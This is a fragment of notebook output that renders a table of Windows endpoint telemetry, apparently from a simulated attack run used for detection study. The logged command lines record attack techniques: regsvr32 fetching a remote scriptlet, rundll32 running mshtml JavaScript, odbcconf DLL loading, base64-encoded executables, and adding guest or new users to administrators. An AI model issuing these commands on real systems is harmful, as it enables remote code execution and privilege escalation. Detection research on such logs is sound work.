<td>TokenElevationTypeDefault</td>\\n\",\n       \"      <td>8bf2d880a885cf992f14856567b72f1a35806ca9</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>ProcessCreationEvents</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>228</th>\\n\",\n       \"      <td>ProcessCreated</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>2018-11-29T12:01:10.7249026Z</td>\\n\",\n       \"      <td>administrator</td>\\n\",\n       \"      <td>regsvr32   /s /n /u /i:http://server/file.sct ...</td>\\n\",\n       \"      <td>2018-11-29T12:01:10.5014578Z</td>\\n\",\n       \"      <td>regsvr32.exe</td>\\n\",\n       \"      <td>c:\\\\users\\\\administrator\\\\appdata\\\\local\\\\temp\\\\regs...</td>\\n\",\n       \"      <td>6132</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td>16811055.0</td>\\n\",\n       \"      <td>6361e5dfefab7d9045e8b2ecf1446d20</td>\\n\",\n       \"      <td>\\\"win32calc.exe\\\"</td>\\n\",\n       \"      <td>2018-11-29T12:01:10.7244624Z</td>\\n\",\n       \"      <td>4664.0</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>TokenElevationTypeDefault</td>\\n\",\n       \"      <td>1aebeceb74a967d7d7f8481575afdd966fdb87bb</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>ProcessCreationEvents</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>229</th>\\n\",\n       \"      <td>ProcessCreated</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>2018-11-29T12:01:10.8747079Z</td>\\n\",\n       \"      <td>administrator</td>\\n\",\n       \"      <td>cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...</td>\\n\",\n       \"      <td>2018-11-29T12:00:00.5549899Z</td>\\n\",\n       \"      <td>cmd.exe</td>\\n\",\n       \"      <td>c:\\\\windows\\\\system32\\\\cmd.exe</td>\\n\",\n       \"      <td>4960</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td>16811055.0</td>\\n\",\n       \"      <td>75b250e858e5cdb47b6e5d796f6b783f</td>\\n\",\n       \"      <td>at.exe  b64::</td>\\n\",\n       \"      <td>2018-11-29T12:01:10.8742404Z</td>\\n\",\n       \"      <td>5360.0</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>TokenElevationTypeDefault</td>\\n\",\n       \"      <td>71cbd3401d15df95367e86c7dd5c067d8779f697</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>ProcessCreationEvents</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>230</th>\\n\",\n       \"      <td>ProcessCreated</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>2018-11-29T12:01:11.0560798Z</td>\\n\",\n       \"      <td>administrator</td>\\n\",\n       \"      <td>cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...</td>\\n\",\n       \"      <td>2018-11-29T12:00:00.5549899Z</td>\\n\",\n       \"      <td>cmd.exe</td>\\n\",\n       \"      <td>c:\\\\windows\\\\system32\\\\cmd.exe</td>\\n\",\n       \"      <td>4960</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td>16811055.0</td>\\n\",\n       \"      <td>69693c99966f1bced41e2f392e7bd807</td>\\n\",\n       \"      <td>\\\"ASC_Alerttest_662jfi039n.exe\\\"  -foo</td>\\n\",\n       \"      <td>2018-11-29T12:01:11.0555301Z</td>\\n\",\n       \"      <td>5116.0</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>TokenElevationTypeDefault</td>\\n\",\n       \"      <td>8bf2d880a885cf992f14856567b72f1a35806ca9</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>ProcessCreationEvents</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>231</th>\\n\",\n       \"      <td>ProcessCreated</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>2018-11-29T12:01:11.474204Z</td>\\n\",\n       \"      <td>administrator</td>\\n\",\n       \"      <td>cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...</td>\\n\",\n       \"      <td>2018-11-29T12:00:00.5549899Z</td>\\n\",\n       \"      <td>cmd.exe</td>\\n\",\n       \"      <td>c:\\\\windows\\\\system32\\\\cmd.exe</td>\\n\",\n       \"      <td>4960</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td>16811055.0</td>\\n\",\n       \"      <td>2a904387c6831d0ffdd877e35ef02d56</td>\\n\",\n       \"      <td>cmd  /c \\\"echo TVqQAAMAAAAAAAAAAAAAAAAAAAAAAAAA...</td>\\n\",\n       \"      <td>2018-11-29T12:01:11.4735974Z</td>\\n\",\n       \"      <td>4124.0</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>TokenElevationTypeDefault</td>\\n\",\n       \"      <td>d520ad2ee2ab194e2fa2ae1733f273781b44d83c</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>ProcessCreationEvents</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>232</th>\\n\",\n       \"      <td>ProcessCreated</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>2018-11-29T12:01:11.5348599Z</td>\\n\",\n       \"      <td>administrator</td>\\n\",\n       \"      <td>\\\"ASC_Alerttest_662jfi039n.exe\\\"  -foo</td>\\n\",\n       \"      <td>2018-11-29T12:01:11.0555301Z</td>\\n\",\n       \"      <td>ASC_Alerttest_662jfi039n.exe</td>\\n\",\n       \"      <td>c:\\\\users\\\\administrator\\\\appdata\\\\local\\\\temp\\\\asc_...</td>\\n\",\n       \"      <td>5116</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td>16811055.0</td>\\n\",\n       \"      <td>6361e5dfefab7d9045e8b2ecf1446d20</td>\\n\",\n       \"      <td>\\\"win32calc.exe\\\"</td>\\n\",\n       \"      <td>2018-11-29T12:01:11.5293403Z</td>\\n\",\n       \"      <td>5288.0</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>TokenElevationTypeDefault</td>\\n\",\n       \"      <td>1aebeceb74a967d7d7f8481575afdd966fdb87bb</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>ProcessCreationEvents</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>233</th>\\n\",\n       \"      <td>ProcessCreated</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>2018-11-29T12:01:11.7652095Z</td>\\n\",\n       \"      <td>administrator</td>\\n\",\n       \"      <td>cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...</td>\\n\",\n       \"      <td>2018-11-29T12:00:00.5549899Z</td>\\n\",\n       \"      <td>cmd.exe</td>\\n\",\n       \"      <td>c:\\\\windows\\\\system32\\\\cmd.exe</td>\\n\",\n       \"      <td>4960</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td>16811055.0</td>\\n\",\n       \"      <td>2a904387c6831d0ffdd877e35ef02d56</td>\\n\",\n       \"      <td>cmd  /c \\\"echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...</td>\\n\",\n       \"      <td>2018-11-29T12:01:11.7646622Z</td>\\n\",\n       \"      <td>1016.0</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>TokenElevationTypeDefault</td>\\n\",\n       \"      <td>d520ad2ee2ab194e2fa2ae1733f273781b44d83c</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>ProcessCreationEvents</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>234</th>\\n\",\n       \"      <td>ProcessCreated</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>2018-11-29T12:01:11.8478145Z</td>\\n\",\n       \"      <td>administrator</td>\\n\",\n       \"      <td>cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...</td>\\n\",\n       \"      <td>2018-11-29T12:00:00.5549899Z</td>\\n\",\n       \"      <td>cmd.exe</td>\\n\",\n       \"      <td>c:\\\\windows\\\\system32\\\\cmd.exe</td>\\n\",\n       \"      <td>4960</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td>16811055.0</td>\\n\",\n       \"      <td>69693c99966f1bced41e2f392e7bd807</td>\\n\",\n       \"      <td>cacls.exe  c:\\\\windows\\\\system32\\\\wscript.exe /e ...</td>\\n\",\n       \"      <td>2018-11-29T12:01:11.8473061Z</td>\\n\",\n       \"      <td>5144.0</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>TokenElevationTypeDefault</td>\\n\",\n       \"      <td>8bf2d880a885cf992f14856567b72f1a35806ca9</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>ProcessCreationEvents</td>\\n\",\n       \"    </tr>\\n\",\n       \"  </tbody>\\n\",\n       \"</table>\\n\",\n       \"<p>235 rows Ã— 39 columns</p>\\n\",\n       \"</div>\"\n      ],\n      \"text/plain\": [\n       \"         ActionType AppGuardContainerId                     EventTime  \\\\\\n\",\n       \"0       FileCreated                       2018-11-29T12:00:01.802793Z   \\n\",\n       \"1       FileCreated                      2018-11-29T12:00:02.9435967Z   \\n\",\n       \"2      FileModified                      2018-11-29T12:00:03.0059329Z   \\n\",\n       \"3       FileCreated                      2018-11-29T12:00:03.0059329Z   \\n\",\n       \"4       FileCreated                      2018-11-29T12:00:02.9903021Z   \\n\",\n       \"5       FileCreated                       2018-11-29T12:00:01.573237Z   \\n\",\n       \"6       FileCreated                      2018-11-29T12:00:01.5528606Z   \\n\",\n       \"7       FileCreated                       2018-11-29T12:00:01.573237Z   \\n\",\n       \"8       FileCreated                      2018-11-29T12:00:03.0059329Z   \\n\",\n       \"9       FileCreated                      2018-11-29T12:00:02.9590514Z   \\n\",\n       \"10      FileCreated                       2018-11-29T12:00:01.573237Z   \\n\",\n       \"11      FileCreated                      2018-11-29T12:00:01.5855211Z   \\n\",\n       \"12      FileCreated                      2018-11-29T12:00:02.9746816Z   \\n\",\n       \"13      FileCreated                      2018-11-29T12:00:01.6962427Z   \\n\",\n       \"14      FileCreated                       2018-11-29T12:00:01.802793Z   \\n\",\n       \"15      FileCreated                       2018-11-29T12:00:01.802793Z   \\n\",\n       \"16      FileCreated                      2018-11-29T12:00:01.5528606Z   \\n\",\n       \"17   ProcessCreated                      2018-11-29T12:00:00.5554854Z   \\n\",\n       \"18   ProcessCreated                      2018-11-29T12:00:00.5705082Z   \\n\",\n       \"19   ProcessCreated                       2018-11-29T12:00:00.775601Z   \\n\",\n       \"20   ProcessCreated                      2018-11-29T12:00:00.8205578Z   \\n\",\n       \"21   ProcessCreated                      2018-11-29T12:00:00.8667077Z   \\n\",\n       \"22   ProcessCreated                      2018-11-29T12:00:00.9081495Z   \\n\",\n       \"23   ProcessCreated                      2018-11-29T12:00:01.1878668Z   \\n\",\n       \"24   ProcessCreated                       2018-11-29T12:00:02.597654Z   \\n\",\n       \"25   ProcessCreated                      2018-11-29T12:00:02.7113689Z   \\n\",\n       \"26   ProcessCreated                      2018-11-29T12:00:03.0359776Z   \\n\",\n       \"27   ProcessCreated                      2018-11-29T12:00:03.2503162Z   \\n\",\n       \"28   ProcessCreated                      2018-11-29T12:00:03.5472939Z   \\n\",\n       \"29   ProcessCreated                      2018-11-29T12:00:03.6698866Z   \\n\",\n       \"..              ...                 ...                           ...   \\n\",\n       \"205  ProcessCreated                      2018-11-29T12:01:07.9293401Z   \\n\",\n       \"206  ProcessCreated                      2018-11-29T12:01:08.0645677Z   \\n\",\n       \"207  ProcessCreated                      2018-11-29T12:01:08.0993104Z   \\n\",\n       \"208  ProcessCreated                      2018-11-29T12:01:08.3393736Z   \\n\",\n       \"209  ProcessCreated                      2018-11-29T12:01:08.5524688Z   \\n\",\n       \"210  ProcessCreated                      2018-11-29T12:01:08.7621612Z   \\n\",\n       \"211  ProcessCreated                      2018-11-29T12:01:08.9938016Z   \\n\",\n       \"212  ProcessCreated                      2018-11-29T12:01:09.0064814Z   \\n\",\n       \"213  ProcessCreated                       2018-11-29T12:01:09.098033Z   \\n\",\n       \"214  ProcessCreated                      2018-11-29T12:01:09.1322589Z   \\n\",\n       \"215  ProcessCreated                      2018-11-29T12:01:09.1752755Z   \\n\",\n       \"216  ProcessCreated                       2018-11-29T12:01:09.188792Z   \\n\",\n       \"217  ProcessCreated                      2018-11-29T12:01:09.2870885Z   \\n\",\n       \"218  ProcessCreated                      2018-11-29T12:01:09.3108931Z   \\n\",\n       \"219  ProcessCreated                      2018-11-29T12:01:09.3949466Z   \\n\",\n       \"220  ProcessCreated                      2018-11-29T12:01:09.4586071Z   \\n\",\n       \"221  ProcessCreated                      2018-11-29T12:01:09.5221062Z   \\n\",\n       \"222  ProcessCreated                      2018-11-29T12:01:09.7194881Z   \\n\",\n       \"223  ProcessCreated                      2018-11-29T12:01:09.8792328Z   \\n\",\n       \"224  ProcessCreated                      2018-11-29T12:01:10.0500407Z   \\n\",\n       \"225  ProcessCreated                      2018-11-29T12:01:10.1985512Z   \\n\",\n       \"226  ProcessCreated                      2018-11-29T12:01:10.3846446Z   \\n\",\n       \"227  ProcessCreated                      2018-11-29T12:01:10.5018734Z   \\n\",\n       \"228  ProcessCreated                      2018-11-29T12:01:10.7249026Z   \\n\",\n       \"229  ProcessCreated                      2018-11-29T12:01:10.8747079Z   \\n\",\n       \"230  ProcessCreated                      2018-11-29T12:01:11.0560798Z   \\n\",\n       \"231  ProcessCreated                       2018-11-29T12:01:11.474204Z   \\n\",\n       \"232  ProcessCreated                      2018-11-29T12:01:11.5348599Z   \\n\",\n       \"233  ProcessCreated                      2018-11-29T12:01:11.7652095Z   \\n\",\n       \"234  ProcessCreated                      2018-11-29T12:01:11.8478145Z   \\n\",\n       \"\\n\",\n       \"    InitiatingProcessAccountName  \\\\\\n\",\n       \"0                  administrator   \\n\",\n       \"1                  administrator   \\n\",\n       \"2                  administrator   \\n\",\n       \"3                  administrator   \\n\",\n       \"4                  administrator   \\n\",\n       \"5                  administrator   \\n\",\n       \"6                  administrator   \\n\",\n       \"7                  administrator   \\n\",\n       \"8                  administrator   \\n\",\n       \"9                  administrator   \\n\",\n       \"10                 administrator   \\n\",\n       \"11                 administrator   \\n\",\n       \"12                 administrator   \\n\",\n       \"13                 administrator   \\n\",\n       \"14                 administrator   \\n\",\n       \"15                 administrator   \\n\",\n       \"16                 administrator   \\n\",\n       \"17                        system   \\n\",\n       \"18                 administrator   \\n\",\n       \"19                 administrator   \\n\",\n       \"20                 administrator   \\n\",\n       \"21                 administrator   \\n\",\n       \"22                 administrator   \\n\",\n       \"23                 administrator   \\n\",\n       \"24                 administrator   \\n\",\n       \"25                 administrator   \\n\",\n       \"26                 administrator   \\n\",\n       \"27                 administrator   \\n\",\n       \"28                 administrator   \\n\",\n       \"29                 administrator   \\n\",\n       \"..                           ...   \\n\",\n       \"205                administrator   \\n\",\n       \"206                administrator   \\n\",\n       \"207                administrator   \\n\",\n       \"208                administrator   \\n\",\n       \"209                administrator   \\n\",\n       \"210                administrator   \\n\",\n       \"211                       system   \\n\",\n       \"212                       system   \\n\",\n       \"213                       system   \\n\",\n       \"214                administrator   \\n\",\n       \"215                       system   \\n\",\n       \"216                       system   \\n\",\n       \"217                       system   \\n\",\n       \"218                       system   \\n\",\n       \"219                administrator   \\n\",\n       \"220                administrator   \\n\",\n       \"221                administrator   \\n\",\n       \"222                administrator   \\n\",\n       \"223                administrator   \\n\",\n       \"224                administrator   \\n\",\n       \"225                administrator   \\n\",\n       \"226                administrator   \\n\",\n       \"227                administrator   \\n\",\n       \"228                administrator   \\n\",\n       \"229                administrator   \\n\",\n       \"230                administrator   \\n\",\n       \"231                administrator   \\n\",\n       \"232                administrator   \\n\",\n       \"233                administrator   \\n\",\n       \"234                administrator   \\n\",\n       \"\\n\",\n       \"                          InitiatingProcessCommandLine  \\\\\\n\",\n       \"0    cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...   \\n\",\n       \"1    cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...   \\n\",\n       \"2    cmd  /c \\\"echo # aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa...   \\n\",\n       \"3    cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...   \\n\",\n       \"4    cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...   \\n\",\n       \"5    cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...   \\n\",\n       \"6    cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...   \\n\",\n       \"7    cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...   \\n\",\n       \"8    cmd  /c \\\"echo # aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa...   \\n\",\n       \"9    cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...   \\n\",\n       \"10   cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...   \\n\",\n       \"11   cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...   \\n\",\n       \"12   cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...   \\n\",\n       \"13   cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...   \\n\",\n       \"14   cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...   \\n\",\n       \"15   cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...   \\n\",\n       \"16   cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...   \\n\",\n       \"17               svchost.exe -k netsvcs -p -s Schedule   \\n\",\n       \"18   cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...   \\n\",\n       \"19   cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...   \\n\",\n       \"20   cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...   \\n\",\n       \"21   cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...   \\n\",\n       \"22   cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...   \\n\",\n       \"23   cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...   \\n\",\n       \"24   cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...   \\n\",\n       \"25   cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...   \\n\",\n       \"26      rundll32.exe  /C c:\\\\windows\\\\fonts\\\\conhost.exe    \\n\",\n       \"27   cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...   \\n\",\n       \"28   reg  add \\\"HKLM\\\\system\\\\CurrentControlSet\\\\Contro...   \\n\",\n       \"29   cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...   \\n\",\n       \"..                                                 ...   \\n\",\n       \"205     net.exe  localgroup administrators guest /add    \\n\",\n       \"206  cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...   \\n\",\n       \"207  net.exe  localgroup administrators guest /dele...   \\n\",\n       \"208  cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...   \\n\",\n       \"209  cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...   \\n\",\n       \"210  cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...   \\n\",\n       \"211              svchost.exe -k netsvcs -p -s Schedule   \\n\",\n       \"212                         tomcat9.exe /c svchost.exe   \\n\",\n       \"213                         tomcat9.exe /c svchost.exe   \\n\",\n       \"214  cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...   \\n\",\n       \"215              svchost.exe -k netsvcs -p -s Schedule   \\n\",\n       \"216                       tomcat9.exe /c net user /add   \\n\",\n       \"217                       tomcat9.exe /c net user /add   \\n\",\n       \"218                                     net  user /add   \\n\",\n       \"219  cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...   \\n\",\n       \"220  cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...   \\n\",\n       \"221  cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...   \\n\",\n       \"222  odbcconf.exe  /S /A {REGSVR C:\\\\Users\\\\Administr...   \\n\",\n       \"223  cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...   \\n\",\n       \"224                         odbcconf.exe  /f my.rspÃ¡Ã¡    \\n\",\n       \"225  cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...   \\n\",\n       \"226  rundll32.exe  /C mshtml,RunHTMLApplication jav...   \\n\",\n       \"227  cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...   \\n\",\n       \"228  regsvr32   /s /n /u /i:http://server/file.sct ...   \\n\",\n       \"229  cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...   \\n\",\n       \"230  cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...   \\n\",\n       \"231  cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...   \\n\",\n       \"232               \\\"ASC_Alerttest_662jfi039n.exe\\\"  -foo   \\n\",\n       \"233  cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...   \\n\",\n       \"234  cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...   \\n\",\n       \"\\n\",\n       \"    InitiatingProcessCreationTime     InitiatingProcessFileName  \\\\\\n\",\n       \"0    2018-11-29T12:00:00.5549899Z                       cmd.exe   \\n\",\n       \"1    2018-11-29T12:00:00.5549899Z                       cmd.exe   \\n\",\n       \"2     2018-11-29T12:00:02.651484Z                       cmd.exe   \\n\",\n       \"3    2018-11-29T12:00:00.5549899Z                       cmd.exe   \\n\",\n       \"4    2018-11-29T12:00:00.5549899Z                       cmd.exe   \\n\",\n       \"5    2018-11-29T12:00:00.5549899Z                       cmd.exe   \\n\",\n       \"6    2018-11-29T12:00:00.5549899Z                       cmd.exe   \\n\",\n       \"7    2018-11-29T12:00:00.5549899Z                       cmd.exe   \\n\",\n       \"8     2018-11-29T12:00:02.596032Z                       cmd.exe   \\n\",\n       \"9    2018-11-29T12:00:00.5549899Z                       cmd.exe   \\n\",\n       \"10   2018-11-29T12:00:00.5549899Z                       cmd.exe   \\n\",\n       \"11   2018-11-29T12:00:00.5549899Z                       cmd.exe   \\n\",\n       \"12   2018-11-29T12:00:00.5549899Z                       cmd.exe   \\n\",\n       \"13   2018-11-29T12:00:00.5549899Z                       cmd.exe   \\n\",\n       \"14   2018-11-29T12:00:00.5549899Z                       cmd.exe   \\n\",\n       \"15   2018-11-29T12:00:00.5549899Z                       cmd.exe   \\n\",\n       \"16   2018-11-29T12:00:00.5549899Z                       cmd.exe   \\n\",\n       \"17   2018-11-28T15:29:30.2613844Z                   svchost.exe   \\n\",\n       \"18   2018-11-29T12:00:00.5549899Z                       cmd.exe   \\n\",\n       \"19   2018-11-29T12:00:00.5549899Z                       cmd.exe   \\n\",\n       \"20   2018-11-29T12:00:00.5549899Z                       cmd.exe   \\n\",\n       \"21   2018-11-29T12:00:00.5549899Z                       cmd.exe   \\n\",\n       \"22   2018-11-29T12:00:00.5549899Z                       cmd.exe   \\n\",\n       \"23   2018-11-29T12:00:00.5549899Z                       cmd.exe   \\n\",\n       \"24   2018-11-29T12:00:00.5549899Z                       cmd.exe   \\n\",\n       \"25   2018-11-29T12:00:00.5549899Z                       cmd.exe   \\n\",\n       \"26     2018-11-29T12:00:02.71099Z                  rundll32.exe   \\n\",\n       \"27   2018-11-29T12:00:00.5549899Z                       cmd.exe   \\n\",\n       \"28   2018-11-29T12:00:03.2488945Z                       reg.exe   \\n\",\n       \"29   2018-11-29T12:00:00.5549899Z                       cmd.exe   \\n\",\n       \"..                            ...                           ...   \\n\",\n       \"205  2018-11-29T12:01:07.8258879Z                       net.exe   \\n\",\n       \"206  2018-11-29T12:00:00.5549899Z                       cmd.exe   \\n\",\n       \"207  2018-11-29T12:01:08.0641732Z                       net.exe   \\n\",\n       \"208  2018-11-29T12:00:00.5549899Z                       cmd.exe   \\n\",\n       \"209  2018-11-29T12:00:00.5549899Z                       cmd.exe   \\n\",\n       \"210  2018-11-29T12:00:00.5549899Z                       cmd.exe   \\n\",\n       \"211  2018-11-28T15:29:30.2613844Z                   svchost.exe   \\n\",\n       \"212  2018-11-29T12:01:08.9932028Z                   tomcat9.exe   \\n\",\n       \"213  2018-11-29T12:01:08.9932028Z                   tomcat9.exe   \\n\",\n       \"214  2018-11-29T12:00:00.5549899Z                       cmd.exe   \\n\",\n       \"215  2018-11-28T15:29:30.2613844Z                   svchost.exe   \\n\",\n       \"216  2018-11-29T12:01:09.1748125Z                   tomcat9.exe   \\n\",\n       \"217  2018-11-29T12:01:09.1748125Z                   tomcat9.exe   \\n\",\n       \"218  2018-11-29T12:01:09.2866227Z                       net.exe   \\n\",\n       \"219  2018-11-29T12:00:00.5549899Z                       cmd.exe   \\n\",\n       \"220  2018-11-29T12:00:00.5549899Z                       cmd.exe   \\n\",\n       \"221  2018-11-29T12:00:00.5549899Z                       cmd.exe   \\n\",\n       \"222  2018-11-29T12:01:09.5214629Z                  odbcconf.exe   \\n\",\n       \"223  2018-11-29T12:00:00.5549899Z                       cmd.exe   \\n\",\n       \"224  2018-11-29T12:01:09.8787418Z                  odbcconf.exe   \\n\",\n       \"225  2018-11-29T12:00:00.5549899Z                       cmd.exe   \\n\",\n       \"226   2018-11-29T12:01:10.197959Z                  rundll32.exe   \\n\",\n       \"227  2018-11-29T12:00:00.5549899Z                       cmd.exe   \\n\",\n       \"228  2018-11-29T12:01:10.5014578Z                  regsvr32.exe   \\n\",\n       \"229  2018-11-29T12:00:00.5549899Z                       cmd.exe   \\n\",\n       \"230  2018-11-29T12:00:00.5549899Z                       cmd.exe   \\n\",\n       \"231  2018-11-29T12:00:00.5549899Z                       cmd.exe   \\n\",\n       \"232  2018-11-29T12:01:11.0555301Z  ASC_Alerttest_662jfi039n.exe   \\n\",\n       \"233  2018-11-29T12:00:00.5549899Z                       cmd.exe   \\n\",\n       \"234  2018-11-29T12:00:00.5549899Z                       cmd.exe   \\n\",\n       \"\\n\",\n       \"                           InitiatingProcessFolderPath  InitiatingProcessId  \\\\\\n\",\n       \"0                          c:\\\\windows\\\\system32\\\\cmd.exe                 4960   \\n\",\n       \"1                          c:\\\\windows\\\\system32\\\\cmd.exe                 4960   \\n\",\n       \"2                          c:\\\\windows\\\\system32\\\\cmd.exe                 5260   \\n\",\n       \"3                          c:\\\\windows\\\\system32\\\\cmd.exe                 4960   \\n\",\n       \"4                          c:\\\\windows\\\\system32\\\\cmd.exe                 4960   \\n\",\n       \"5                          c:\\\\windows\\\\system32\\\\cmd.exe                 4960   \\n\",\n       \"6                          c:\\\\windows\\\\system32\\\\cmd.exe                 4960   \\n\",\n       \"7                          c:\\\\windows\\\\system32\\\\cmd.exe                 4960   \\n\",\n       \"8                          c:\\\\windows\\\\system32\\\\cmd.exe                 5828   \\n\",\n       \"9                          c:\\\\windows\\\\system32\\\\cmd.exe                 4960   \\n\",\n       \"10                         c:\\\\windows\\\\system32\\\\cmd.exe                 4960   \\n\",\n       \"11                         c:\\\\windows\\\\system32\\\\cmd.exe                 4960   \\n\",\n       \"12                         c:\\\\windows\\\\system32\\\\cmd.exe                 4960   \\n\",\n       \"13                         c:\\\\windows\\\\system32\\\\cmd.exe                 4960   \\n\",\n       \"14                         c:\\\\windows\\\\system32\\\\cmd.exe                 4960   \\n\",\n       \"15                         c:\\\\windows\\\\system32\\\\cmd.exe                 4960   \\n\",\n       \"16                         c:\\\\windows\\\\system32\\\\cmd.exe                 4960   \\n\",\n       \"17                     c:\\\\windows\\\\system32\\\\svchost.exe                 1208   \\n\",\n       \"18                         c:\\\\windows\\\\system32\\\\cmd.exe                 4960   \\n\",\n       \"19                         c:\\\\windows\\\\system32\\\\cmd.exe                 4960   \\n\",\n       \"20                         c:\\\\windows\\\\system32\\\\cmd.exe                 4960   \\n\",\n       \"21                         c:\\\\windows\\\\system32\\\\cmd.exe                 4960   \\n\",\n       \"22                         c:\\\\windows\\\\system32\\\\cmd.exe                 4960   \\n\",\n       \"23                         c:\\\\windows\\\\system32\\\\cmd.exe                 4960   \\n\",\n       \"24                         c:\\\\windows\\\\system32\\\\cmd.exe                 4960   \\n\",\n       \"25                         c:\\\\windows\\\\system32\\\\cmd.exe                 4960   \\n\",\n       \"26   c:\\\\users\\\\administrator\\\\appdata\\\\local\\\\temp\\\\rund...                 2764   \\n\",\n       \"27                         